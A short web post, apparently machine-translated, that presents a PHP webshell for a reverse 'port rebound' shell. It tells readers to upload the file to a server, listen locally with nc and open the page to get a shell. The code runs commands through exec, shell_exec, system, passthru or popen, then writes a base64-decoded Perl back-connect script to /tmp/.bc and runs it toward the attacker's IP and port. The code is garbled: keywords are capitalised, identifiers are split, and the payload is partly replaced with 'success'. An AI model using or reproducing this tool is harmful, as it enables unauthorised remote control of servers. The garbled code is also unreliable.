Port rebound in PHP Webshell

 

Sunzn:Back Connect in phpspy2011 cannot be recovered. I found a code segment on the Internet and the test was successful. However, after reading the code, it seems that it was also separated from phpspy.

 

Usage: Save the following code as a separate PHP file. After being uploaded to the server, the local NC listens to a port, sets the bounce IP address and port in the code, and then directly accesses the uploaded PHP file, and a shell is returned to the NC.

 

Test instance: first run nc-vv-l-p port locally, then visit the php page http://www.site.com/phpdkft.php, local will get a rebound shell.

 

 

In this way, you can directly access this php page and directly play back the shell. You do not need to perform other tedious operations. The modified code is shown below.

 

 

========================================================== ========================================================== ======================================

<? Php

Function which ($ pr ){
$ Path = execute ("which $ pr ");
Return ($ path? $ Path: $ pr );
}

Function execute ($ cfe ){
$ Res = '';
If ($ cfe ){
If (function_exists ('exec ')){
@ Exec ($ cfe, $ res );
$ Res = join ("\ n", $ res );
} Elseif (function_exists ('Shell _ exec ')){
$ Res = @ shell_exec ($ cfe );
} Elseif (function_exists ('system ')){
@ Ob_start ();
@ System ($ cfe );
$ Res = @ ob_get_contents ();
@ Ob_end_clean ();
} Elseif (function_exists ('passthru ')){
@ Ob_start ();
@ Passthru ($ cfe );
$ Res = @ ob_get_contents ();
@ Ob_end_clean ();
} Elseif (@ is_resource ($ f = @ popen ($ cfe, "r "))){
$ Res = '';
While (! @ Feof ($ f )){
$ Res. = @ fread ($ f, 1024 );
}
@ Pclose ($ f );
}
}
Return $ res;
}

Function cf ($ fname, $ text ){
If ($ fp = @ fopen ($ fname, 'w ')){
@ Fputs ($ fp, @ base64_decode ($ text ));
@ Fclose ($ fp );
}
}

$ Yourip = "your IP ";
$ Yourport = 'your port ';
$ Usedb = array ('perl '=> 'perl', 'c' => 'C ');

$ Back_connect = "success ".
"Success ".
"Success ".
"Success ".
"Success ".
"Success ".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw = ";

Cf ('/tmp/. bc', $ back_connect );
$ Res = execute (which ('perl '). "/tmp/. bc $ yourip $ yourport &");

?>